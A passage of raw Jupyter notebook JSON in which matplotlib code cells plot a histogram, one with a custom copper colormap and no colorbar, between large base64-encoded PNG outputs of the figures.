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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Custom colormap, no colorbar\n", "import matplotlib.cm as cm\n", "fig, ax = plt.subplots()\n", "ax = histogram.plot(ax=ax, cmap=cm.copper, show_colorbar=False, grid_color=cm.copper(0.5))\n", "ax.set_title(\"Custom colormap\");" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "image/png": "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